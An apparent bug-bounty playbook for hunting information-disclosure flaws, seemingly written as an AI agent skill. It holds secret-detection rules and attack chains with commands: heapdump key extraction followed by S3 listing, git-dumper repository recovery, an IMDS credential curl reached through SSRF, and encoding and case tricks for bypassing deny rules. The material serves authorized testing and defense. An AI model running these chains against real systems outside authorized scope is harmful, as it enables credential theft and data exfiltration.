- pattern: |
$MODEL.find({})
- pattern: |
$MODEL.objects.all()
- pattern: |
$REPO.findAll()
message: |
Wildcard model fetch returns ALL fields including sensitive ones
(password_hash, tokens, internal_notes). Use explicit field selection
or serializer with field allowlist. Over-fetching is mid-four-figure
info-disclosure on most programs.
severity: WARNING
languages: [javascript, typescript, python, java]
rules:
- id: info-username-enumeration-error-delta
pattern-either:
- pattern: |
if not user:
return "User not found"
if not check_password(user, $PWD):
return "Invalid password"
- pattern: |
if (user == null) return "User not found";
if (!checkPassword($PWD)) return "Invalid password";
message: |
Different error messages for "user not found" vs "wrong password"
enable username enumeration. Return same generic message for both.
MinIO GHSA-jv87-32hw-hh99 LDAP brute-force pattern.
severity: WARNING
languages: [python, javascript, typescript, java]
# Hardcoded AWS access keys
ast-grep --pattern '"AKIA$$$"' --lang python
ast-grep --pattern '"AKIA$$$"' --lang js
# Spring actuator exposure config
ast-grep --pattern 'management.endpoints.web.exposure.include = $X' --lang yaml
# Go pprof import
ast-grep --pattern 'import _ "net/http/pprof"' --lang go
# Express error handler exposing stack
ast-grep --pattern 'res.send($E.stack)' --lang js
ast-grep --pattern 'res.json($E)' --lang js
# Django DEBUG setting
ast-grep --pattern 'DEBUG = True' --lang python
# Rails verbose errors
ast-grep --pattern 'config.consider_all_requests_local = true' --lang ruby
# Spring actuator exposure
rg -n 'management\.endpoints\.web\.exposure\.include' -g 'application*.{yml,yaml,properties}'
rg -n 'spring-boot-starter-actuator' -g 'pom.xml' -g '*.gradle*'
# .env files in repo (should be gitignored)
rg --files | rg -e '\.env$' -e '\.env\.local$' -e '\.env\.production$'
# Hardcoded secret patterns (AWS, Google, Stripe, GitHub, JWT)
rg -n -e 'AKIA[0-9A-Z]{16}' -e 'AIza[0-9A-Za-z_-]{35}' -e 'sk_live_[0-9a-zA-Z]{24,}' \
-e 'ghp_[0-9a-zA-Z]{36}' -e 'github_pat_[0-9a-zA-Z]{82}' \
-e 'eyJhbGciO[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' \
-g '!*.lock' -g '!node_modules' -g '!vendor' -g '!.git'
# Database connection strings with embedded creds
rg -n -i 'jdbc:.*://[^"\s]*:[^@\s]+@'
rg -n -i 'mongodb(\+srv)?://[^"\s]*:[^@\s]+@'
rg -n -i 'postgres(?:ql)?://[^"\s]*:[^@\s]+@'
# Go pprof exposure
rg -n -e 'net/http/pprof' -e '"/debug/pprof"' --type go
# DEBUG flags enabled
rg -n -i -e 'debug\s*[=:]\s*true' -g '*.{yml,yaml,toml,ini,env,properties,json}'
# Verbose error handlers
rg -n -e 'res\.send\(.*err\.stack' -e '@app\.errorhandler' --type js --type ts --type py
# Console.log with sensitive var names
rg -n -e 'console\.log\(.*password' -e 'console\.log\(.*token' -e 'console\.log\(.*secret' \
--type js --type ts
# Comments containing developer-action markers next to credential references
rg -n -e 'remove.*before.*deploy.*credential' \
-e 'FIXME.*password' \
-e 'remove.*key.*before.*push' \
--type-add 'all:*'
GitHub's pre-built js/hardcoded-credentials (Security/CWE-798/HardcodedCredentials.ql), py/hardcoded-credentials, java/hardcoded-credentials, and go/hardcoded-credentials queries cover the literal-credential pattern. Run via codeql database analyze --format=sarif-latest --output=info-disclosure.sarif.
For Spring actuator exposure, GitHub Security Lab maintains custom queries at github.com/github/codeql for Java; search for cwe-200 in the query catalog. Wiz Threat Research published patterns for actuator endpoint detection.
For Go pprof exposure, write a custom predicate that flags import _ "net/http/pprof" in any non-test file. Reference: https://blog.detectify.com/2024/10/30/google-pprof-go-debug-information-leakage/ for the broader detection pattern.
For mobile (Android Smali / iOS Mach-O), use MobSF for static analysis with built-in secret-detection rules.
This is where 2024-2026 info-disclosure meta lives. Coverage required: GitHub Actions, GitLab CI, Jenkins, ArgoCD/Flux, Kubernetes, IAM/IMDS, supply chain.
GitHub Actions info-disclosure — workflow logs leaking secrets when echo statements include ${{ secrets.X }} (GitHub's masking only catches exact string match; echo $TOKEN | base64 exposes encoded form unmasked). Artifact upload exposing .env files. Public artifact downloads from previous workflow runs. workflow_dispatch inputs reflected in run history. Reference: GitHub Actions Hardening guide.
GitLab CI info-disclosure — CI_JOB_TOKEN echoed in logs, .gitlab-ci.yml referencing artifacts that contain secrets, GitLab Pages deploying secret-containing files, shared-runner exposing job environment to other tenants.
Jenkins info-disclosure — /script endpoint exposed (Groovy console with full system access), agent JNLP secret leak via /computer/<agent>/slave-agent.jnlp, build-parameter values reflected in console output, manage/configure showing credentials in plaintext.
ArgoCD / Flux / Tekton (GitOps controllers) info-disclosure:
/ws and /info endpoints expose agent topology with no auth.Kubernetes info-disclosure — kubelet anonymous auth (--anonymous-auth=true) exposes /pods, /runningpods, /exec endpoints. etcd direct access bypasses RBAC. ConfigMap / Secret read across namespaces via misconfigured RoleBinding scope. Public-by-default kubectl get for low-privilege ServiceAccounts in shared clusters.
Cloud IAM / IMDS — IMDSv1 reachable from Lambda or container with SSRF chain (curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>) → AWS keys. CSP / network policy usually blocks; when it doesn't, becomes RCE-class.
Supply chain (npm/pip/RubyGems) — secrets leaked in package metadata (npm pack includes files outside files allowlist), test fixtures with real credentials, .npmrc/.pypirc with publish tokens published in package, postinstall scripts logging env vars. Telnyx PyPI typosquat 2026 critical (GHSA cited in corpus) — malicious code in versions 4.87.1 and 4.87.2.
OSS hunting workflow: socket dev <package> → audit recent versions for new file additions → diff with previous → if .env or test-fixtures with credentials added, file as info-disclosure / supply-chain incident.
The 2024-2026 expansion meta required by the validator. All five topics covered.
The closest analog: container metadata / runtime info disclosure. Process command lines visible across PID namespaces (/proc/<pid>/cmdline) when pid: host is set in pod spec, or when runc exec exposes other-container info. Container labels (Docker / OCI labels) embedded in registry metadata can leak internal hostnames, repository paths.
The cross-tenant AI/ML pattern — model registries leak credentials embedded in model metadata, feature stores expose training-data, vector DBs leak embeddings across tenants.
/api/2.0/mlflow/runs/get — returns full run metadata including secret env vars, parameter values containing credentials./api/4/serverslist (GHSA-r297-p3v4-wp8m) — covered above; ML monitoring pipelines using Glances inherit the leak.LLM07:2025 System Prompt Leakage covers system-prompt extraction. LLM02:2025 Sensitive Information Disclosure covers training-data and runtime-data leakage. Practical attack:
/info exposes agent topology + tool definitions including credentials in tool config./_next/static/.../*.map) reveal full source code, internal variable names, comments.__NEXT_DATA__ JSON inline in HTML may include build-time env-var contents if serverRuntimeConfig and publicRuntimeConfig are misconfigured./_vercel/insights, /.well-known/vercel) sometimes exposes deployment IDs, build URLs.metadata.annotations and spec.source.helm.parameters — credentials in Helm values get displayed..env files via envs: field.argo-server UI exposes workflow parameters, secret references, status history.Single-bug info-disclosure pays per-bug; chains pay 5-10x. Eight templates from disclosed reports and current-meta 2024-2026 chains.
Chain 1 — spring actuator heapdump → aws keys → s3 bucket exfil (Volkswagen pattern, mid five-figure on enterprise programs)
<svc>.target.com with Server: Tomcat header/actuator/health returns 200 — actuator exposed/actuator/heapdump returns 200 with binary heap dump (~500MB-2GB)strings heapdump.bin | grep AKIA reveals AWS access key in JVM memoryaws sts get-caller-identity confirms key is live; key has S3 read accessaws s3 ls lists customer-data buckets; download 3 sample records as proofHunter's note: the trick that makes this pay isn't finding the actuator — nuclei templates do that automatically. The trick is the heapdump analysis. Most hunters stop at "actuator exposed" (mid four-figure) when they should download the heapdump and grep for AWS keys (mid five-figure). The first time I tried this I downloaded a 1.2GB heapdump and ran strings | grep -E 'AKIA[0-9A-Z]{16}' — got 3 access keys in 30 seconds. Then aws sts get-caller-identity confirmed one was live with S3 access. Stop after 3 sample records. Don't pivot — that's unauthorized data access escalation.
Chain 2 — .git/ exposed → repo recovery → trufflehog → live aws keys → cloud exfil (Sysdig EmeraldWhale pattern, low to mid five-figure when keys validate)
<old-app>.target.comcurl https://<old-app>.target.com/.git/HEAD returns 200 with ref: refs/heads/main — .git/ exposedgit-dumper https://<old-app>.target.com/.git/ /tmp/dumped recovers full repotrufflehog filesystem /tmp/dumped --only-verified --json extracts 5 live secrets including AWS keysHunter's note: the move that pays here is using git-dumper to recover the full repo, not just reading .git/config. Most hunters report "/.git/HEAD exposed" (mid three-figure informational) without realizing they can clone the entire codebase. Once you have the repo, TruffleHog with --only-verified filters out dead keys; the live ones are gold. The first time I ran this, the repo had been deleted from production years prior but the deploy server still had .git/ from initial setup — keys were rotated since but the SSH private key in .deploy/keys/ was still valid for the bastion.
Chain 3 — subdomain enum → s3 bucket guess → public listing → pii exfil (ESHYFT pattern, low to mid five-figure on healthcare/financial programs)
app.target.com, api.target.com, prod.target.com, staging.target.com-prod, -backup, -uploads, -data)https://target-uploads.s3.amazonaws.com/ returns XML directory listingHunter's note: the trick is the subdomain-to-bucket-name derivation. Most hunters guess <orgname> and <orgname>-bucket and stop. Real value is in derivative names — <subdomain>-prod, <subdomain>-staging, <subdomain>-backup, <subdomain>-uploads, <subdomain>-logs, <subdomain>-data. ESHYFT's bucket was discoverable via this pattern. Always count the records before reporting — programs scale bounty by record count for healthcare/financial PII.
Chain 4 — actuator env exposed → db credentials → external db connection → read prod data (Spring config-property pattern, mid four-figure to low five-figure)
/actuator/env returns 200 with full environment dumpspring.datasource.url=jdbc:postgresql://db.internal.target.com:5432/prod_db and spring.datasource.password=<plaintext>db.internal.target.com resolves publicly (DNS misconfig); or, more commonly, port forward via SSRF chain/actuator/env exposure in 4% of publicly accessible Spring Boot Actuator instances (https://www.cyberkendra.com/2024/12/vulnerability-in-spring-boot-actuator.html).Hunter's note: the bottleneck is reaching the internal DB. Sometimes the DB hostname resolves publicly (DNS misconfig — file separately as info-disclosure). When it doesn't, you need an SSRF in the same target to pivot. Even without the SSRF, the credential leak alone is mid four-figure. Always try connecting from outside; many "internal" DBs are accidentally public.
Chain 5 — debug pprof cmdline → admin token → unauthorized api access → full account takeover (Dgraph pattern, low five-figure on Dgraph-class targets)
/debug/pprof/cmdline returns 200 with full process command line--security "token=admin-secret-xxx"curl -H "X-Dgraph-AccessToken: admin-secret-xxx" https://target/admin--flag="value" style for secrets and exposes pprof.Hunter's note: every Go service that uses import _ "net/http/pprof" and accepts secret arguments via --flag is vulnerable to this pattern. The Dgraph case showed admin tokens; the same pattern leaks DB connection strings, encryption keys, OAuth client secrets. Always probe /debug/pprof/cmdline on Go services. The fix is to remove pprof from production builds entirely, not "secure" it via mux.Handle.
Chain 6 — wp-config.php backup → db credentials → wp-admin login → arbitrary plugin upload → rce (mid four-figure on WordPress targets)
curl https://target/wp-config.php.bak returns 200 with PHP sourceHunter's note: WordPress is everywhere, and admin/dev/staging subdomains often serve wp-config.php.bak or ~wp-config.php because someone edited via vim/nano on the live server. The chain to RCE requires either DB access (pivot to wp_users table to set admin password hash) or AUTH_KEY forgery. Both work; AUTH_KEY forgery is faster but requires understanding WordPress's nonce/cookie generation. Always check both .bak and ~ and .swp extensions.
Chain 7 — swagger json exposed → endpoint enum → admin api → full data dump (low to mid four-figure direct + chain to other paying classes)
/swagger.json, /api-docs, /openapi.json exposed in production/api/v1/admin/users/all, /api/v1/admin/export)Hunter's note: Swagger / OpenAPI exposure alone is mid three-figure informational. The value is in the endpoints it reveals. Compare the public docs to the swagger schema — anything in swagger that's NOT in public docs is an undocumented surface, often missing the same auth checks as the documented endpoints. Always download the full schema and test the new endpoints with low-priv credentials.
Chain 8 — mobile app reverse → embedded api key → cloud service abuse → bulk data exfil (low to mid four-figure on mobile programs)
apktool d + strings classes.dex | grep -E 'AKIA|AIza|sk_live' — extract embedded keysaws sts get-caller-identity, Stripe API, etc.)Hunter's note: modern mobile apps use ProGuard / R8 obfuscation, but secrets often remain in plaintext in assets/, res/raw/, or environment-config XML. Always check META-INF/ for build-time leakage. The H1 2026 "Session Cookie Leakage via Static Header Field in WebViewerFragment" is a related class — mobile WebView leaks session cookie via static custom header even after logout.
Why developers introduce info-disclosure — patterns visible across the corpus and 2024-2026 meta:
management.endpoints.web.exposure.include=* — Spring Boot Actuator default exposure for "internal" environments leaked to production. Restrict to health,info only; secure others..env served by web server — application root contains .env; web server (Nginx, Apache) serves it because no explicit deny rule. Add location ~ /\.env { deny all; } or equivalent..git/ in webroot — deployment via git pull on production server leaves .git/ in webroot. Use rsync --exclude='.git' or proper CI/CD deploy.password = "actual_password" committed to repo. Use environment variables, secret managers. Reference: GitGuardian 2026 28.65M secrets in 2025.app.use(function(err, req, res, next) { res.send(err.stack); }) left from development. Toggle via NODE_ENV / Django DEBUG / Rails RAILS_ENV.Principal: * for s3:GetObject or s3:ListBucket. Use AWS Block Public Access account-wide setting./debug/pprof/cmdline exposed in Go services — import _ "net/http/pprof" adds default mux handler at /debug/pprof/. Remove import in production builds OR use separate internal-only mux.fields = ['id', 'name'] in Django REST Framework).if not user: return 401 then if not check_password(): return 401 with different bodies. Use single generic message.admin/admin or admin/changeme and never forces change. Harbor GHSA-hj7x-hmf2-hc2p, NetBird GHSA-g3j4-58mp-3x25.Access-Control-Allow-Origin: * on credentialed APIs — Glances GHSA-r297-p3v4-wp8m and GHSA-7p93-6934-f4q7 patterns. Allows any origin to read credentialed responses cross-origin..bak, .old, ~, .swp extensions served alongside originals (wp-config.php.bak pattern)./_next/static/.../*.map) — exposes full source code, internal variable names. Disable source map upload in production CI/CD.X-Cache: HIT on authenticated content reveals it was cached publicly; Vary header mismatches enable cache poisoning that exposes other users' content.Defense bypasses observed in disclosed reports.
Config.YML to bypass blocklist of config.yml.wp-config.php is denied, try wp-config.php.bak, wp-config.php.old, wp-config.php~, wp-config.php.swp. Server's deny rule covers exact filename only. Reference: H1 reports at https://hackerone.com/reports/3328408 and https://hackerone.com/reports/3252302 (2026 High disclosed)./admin blocked but /admin/ reachable (or vice versa). Common on misconfigured nginx location blocks; documented across PortSwigger Web Security Academy labs./Admin/, /ADMIN/, /aDmIn/ may bypass Apache/nginx case-sensitive deny rules when application is case-insensitive. Documented in PortSwigger access-control labs./.env blocked but /%2eenv or /.%65nv reachable. Double-encoding bypasses some normalizers; same class as Apache CVE-2024-38472 path-confusion (Orange Tsai BHUSA 2024).admin.target.com/.env blocked but staging.target.com/.env allowed because deny rule only deployed to production env. Documented across HackerOne hacktivity disclosed 2024-2025 (Shopify, GitHub, GitLab subdomain reports).curl -H "Range: bytes=0-100" https://target/.env may return 206 even when GET returns 403 due to nginx misconfig.null origin bypass — when Access-Control-Allow-Origin: null is set, sandboxed iframes (<iframe sandbox>) get null origin and are allowed. Documented at PortSwigger Web Security Academy CORS lab series.strings heapdump.bin | grep -E '<your-org-prefix>' for internal token formats. Volkswagen pattern via SYSCREST analysis https://www.syscrest.com/2025/02/securing-spring-boot-actuator/.Before you write the report, prove these five things:
Concrete demonstration with measurable impact. "I see /server-status exposed" without showing what it leaks is informational. Show the specific data: 3 IPs from the request log, the framework version revealed, the credential extracted. For credentials: validate they're live (aws sts get-caller-identity, curl https://api.github.com/user -H "Authorization: token X"). Don't pivot — confirm + stop.
Business loss mapping. Map to one of: customer PII exposure (count records), credential theft (active key validated), source-code leak (commits + file count), financial/healthcare data exposure (regulatory implication: GDPR, HIPAA, PCI, GLBA), credential reuse risk (key has access to N additional resources). Quantify.
Reproducibility in 10 minutes. Curl one-liner for the leak. If credentials need validation, document the validation command. Triagers close anything they can't repro at lunch.
Scope check. Asset in scope (info-disclosure on out-of-scope subdomains is N/A even if real). Credentials belong to target organization (not a third-party SaaS the target uses). Re-check after 24h — orgs sometimes patch within hours of submission, so confirm the leak is still present at submit time. Critical for credentials: confirm the program treats credential exposure as in-scope (see Cremit Apr 2026 analysis — several programs including Atlassian, Shopify, GitLab explicitly exclude this class).
PoC artifacts: 30-60 second screen recording showing the leak fired (asciinema or mp4 — no edits, no zooms hiding the URL). Burp request/response screenshot with non-sensitive headers visible. Curl command in plain text. For credentials: redacted credential value with length confirmed (e.g., AKIA**************** 20 chars). For PII: 3 redacted sample records. Never include actual sensitive data in the report — describe it but redact values.
If any of the 5 fails: stop. You have a finding, not a report. Common kill-list items:
Example 1 — volkswagen-spring-actuator-heapdump-aws-keys-9TB-gps-data (mid five-figure bounty range, multi-link cloud-takeover chain — Wiz Threat Research Dec 2024 disclosure)
/actuator/heapdump endpoint exposed without authentication — the default Spring Boot Actuator behavior when management.endpoints.web.exposure.include=* is set./actuator/heapdump. The dump contained the full JVM memory state including environment variables, in-flight request data, and AWS SDK credential cache.strings heapdump.bin | grep -E 'AKIA[0-9A-Z]{16}' to extract AWS access keys. Validated keys via aws sts get-caller-identity. The keys had S3 read access to a bucket containing GPS tracking data for Volkswagen-connected vehicles.Example 2 — sysdig-emeraldwhale-15K-cloud-creds-from-67K-git-configs (mass exploitation pattern, mid four-figure direct on individual program disclosures — Sysdig Threat Research Oct 2024)
/.git/config at the application root. Includes Laravel apps with .env files in webroot..git/config → extract tokens → validate → download private repos → recursive secret extraction from repo contents. Stolen secrets stored in 1TB S3 bucket. Stolen 15,000 cloud credentials from 67,000 URLs (28K Git repos, 6K GitHub tokens, 2K validated active credentials).Example 3 — eshyft-public-s3-bucket-86K-medical-records (researcher disclosure pattern, healthcare PII — Jeremiah Fowler March 2025)
curl https://<bucket>.s3.amazonaws.com/, downloaded a sample of records to confirm content. Did not exfiltrate at scale — reported to ESHYFT on January 6 2025.Example 4 — dgraph-debug-pprof-cmdline-admin-token-leak (low five-figure bounty range on Dgraph-class targets, Go service info-disclosure pattern, GHSA-95mq-xwj4-r47p 2026 critical)
--security "token=<admin-token>" for admin API authentication. Process exposed /debug/pprof/cmdline endpoint via default Go net/http/pprof import with no authentication./debug/pprof/cmdline — a standard Go pprof endpoint that returns argv of the running process. Response contained the full command line: dgraph alpha --security "token=actual-admin-token-value-here" --my=..../debug/pprof/cmdline response. Used token to authenticate to admin API: curl -H "X-Dgraph-AccessToken: <token>" https://target/admin. Admin API allows schema modification, predicate drops, user management — full database control.import _ "net/http/pprof" from production builds, or restrict pprof to a separate non-public mux.--flag="value" for secrets and exposes pprof — same class of bug in many internal Go microservices.Example 5 — nasa-bitbucket-env-uat-credentials (low four-figure bounty range on equivalent commercial paid programs, kudos-only on NASA VDP — x3ro Bugcrowd Aug 2025)
.env file accessible via HTTP. The file contained UAT-environment credentials used by a script to authenticate with NASA's cmr.sit.earthdata.nasa.gov SIT (System Integration Testing) token service._x3ro_ ran subdomain / asset enumeration against NASA VDP scope, then path probing for .env and other config-file exposure. Found the .env accessible without authentication..env, identified plaintext credentials for cmr.sit.earthdata.nasa.gov. Validated credentials authenticated successfully against the NASA SIT token service. Did not pivot — submitted finding directly with credential validation proof.Example 6 — glances-central-browser-serverslist-downstream-credentials (low five-figure bounty range on monitoring platforms and internal SaaS observability stacks — GHSA-r297-p3v4-wp8m / GHSA-gfc2-9qmw-w7vh 2026 critical)
/api/4/serverslist without adequate access control. The endpoint returned the configured downstream server inventory, including connection metadata and credentials used by the central node./api/4/status, /api/4/pluginslist, permissive CORS, and the Central Browser UI, then requests /api/4/serverslist directly from an unauthenticated browser or curl session.The kill-list. Where NOT to point the cannon.
X-Powered-By: PHP/7.4.x header alone — version disclosure is N/A on its own. Don't submit unless you can chain to a known CVE for that version (then it's a CVE-replay report, not info-disclosure)./robots.txt referencing /admin/ — won't pay; admins know about robots.txt by definition. Stop hunting unless robots.txt reveals unguessable paths or dev-only URLs./.git/HEAD exposed but git-dumper returns 0 files — informational only / N/A. Many servers serve .git/HEAD as default-file but block subdirectory access — without recoverable content the exposure is dead.--only-verified — won't pay because false-positive rate is huge. Stop submitting unverified TruffleHog matches; always pre-validate.Access-Control-Allow-Origin: * on public-by-design API — N/A when API has no credentials and no per-user data. Don't submit; CORS is intentional for public APIs.*.map exposure; only paying when the map reveals internal API URLs or server-side code paths./debug/pprof/ accessible but no secrets in process args — N/A. The pay value is the secret leaked, not the endpoint. Don't submit pprof exposure alone./health exposed — by design, used for K8s liveness probes. Won't pay; stop reporting bare /health. Only /env, /heapdump, /configprops, /beans, /threaddump, /mappings, /loggers, /gateway pay.24-month meta call-out. The defining 2024-2026 info-disclosure story is systemic credential exposure via .git///env/Spring Boot Actuator/heap dumps — Sysdig EmeraldWhale (15K cloud creds), Unit42 (110K domain scan, 90K env-var combos, 7K active AWS keys), Wiz Volkswagen (9TB GPS data via single /actuator/heapdump), GitGuardian (28.65M secrets in 2025). If you hunt one new info-disclosure surface in the next quarter, it's running nuclei -t http/exposures/spring-boot/ against every in-scope subdomain plus git-dumper against every 200-OK .git/HEAD. The second-place meta is debug-endpoint family — Dgraph /debug/pprof/cmdline, Glances /api/4/serverslist, FUXA plaintext DB creds, Harbor / NetBird default passwords (all 2025-2026 critical GHSAs). The third-place meta is PII-via-API with bounty scaling by record count on healthcare/financial programs (ESHYFT 86K records pattern).
OSS targets where the next 6 months of paying bugs likely are. Spring Boot deployments not pinned to current (CVE-2025-41243 / 41253 / 22235 family). Go services using import _ "net/http/pprof" in production. Self-hosted monitoring stacks (Glances, Prometheus, Grafana) with permissive CORS. Self-hosted GitOps (Rancher, ArgoCD) with cluster-template credential leakage. AI / ML platforms exposing model-registry credentials in metadata. Any SaaS using Vercel / Netlify with _next/static/.../*.map shipped.
Anti-patterns reminder. See the Anti-Targets section above. Most-common kills: stack trace without material info, version-banner-only disclosure, /.git/HEAD without recoverable repo, TruffleHog without --only-verified, programs that exclude credential exposure (always check scope first).
Ground rule for impact in 2026: generic info-disclosure pays mid three-figure to low four-figure; chained to active credential validation pays mid four-figure; chained to cloud-infrastructure read pays low to mid five-figure; full database access via leaked credentials pays mid five-figure on programs that pay this class. Always validate credentials before reporting — aws sts get-caller-identity, curl https://api.github.com/user -H "Authorization: ...", etc. Dead credentials reduce the report to informational.
Currency tip: ~12 of the verified CVEs/GHSAs cited in this skill are from 2024-2026. Re-verify with verify_citations.py before finalizing any report; Spring releases security patches frequently and version constraints may shift.
90-minute hunt loop
.git, .env, cloud bucket, debug endpoint, source repo, mobile binary, API over-fetch, stack trace..env, .git/config, actuator index, bucket listing headers, one redacted API object.Decision tree
.git, recover repo only when object files are reachable; HEAD alone is not enough./health only, kill. If /env, /heapdump, /configprops, or /gateway is exposed, prioritize immediately.False-positive graveyard
/actuator/health or /metrics without sensitive labels: kill.Program economics
Report framing
.env file is public.".env exposes a live AWS access key. aws sts get-caller-identity proves the key belongs to the target account and role prod-app-readonly. I did not list or download buckets; the role identity is sufficient to prove credential compromise."Automation harness
evidence.json: URL, status, content-type, bytes read, sensitive pattern, validation command, redaction status.AFaffaan-m/ECC278k4,046 new stars in the last 7 days
DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days
DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days
DIDietrichGebert/ponytail162k5,405 new stars in the last 7 days
GAgarrytan/gstack136k883 new stars in the last 7 days
Harden code against the OWASP Top 10: input handling, authentication, sessions and dependencies.
ADaddyosmani/agent-skills106k3,628 new stars in the last 7 days